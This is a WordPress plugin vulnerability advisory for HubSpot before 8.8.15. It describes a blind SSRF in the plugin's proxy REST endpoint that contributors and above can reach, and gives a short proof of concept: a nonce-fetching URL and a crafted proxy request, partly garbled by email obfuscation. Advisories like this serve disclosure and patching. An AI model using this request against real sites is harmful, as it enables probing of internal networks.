WordPress Plugin Vulnerabilities

HubSpot < 8.8.15 - Contributor+ Blind SSRF

Description

The plugin does not validate the proxy URL given to the proxy REST endpoint, which could allow users with the edit_posts capability (by default contributor and above) to perform SSRF attacks

Proof of Concept

As an authenticated user with the edit_posts capability, get REST nonce via https://example.com/wp-admin/admin-ajax.php?action=rest-nonce

https://example.com/wp-json/leadin/v1/[email protected]&_wpnonce=8aaf916bd9

Affects Plugins

Fixed in 8.8.15

References

Classification

Type
SSRF
OWASP top 10
CWE

Miscellaneous

Original Researcher
Brandon Roldan
Submitter
Brandon Roldan
Submitter website
Submitter twitter
Verified
Yes

Timeline

Publicly Published
2022-04-11 (about 1 years ago)
Added
2022-04-11 (about 1 years ago)
Last Updated
2022-04-13 (about 1 years ago)

Other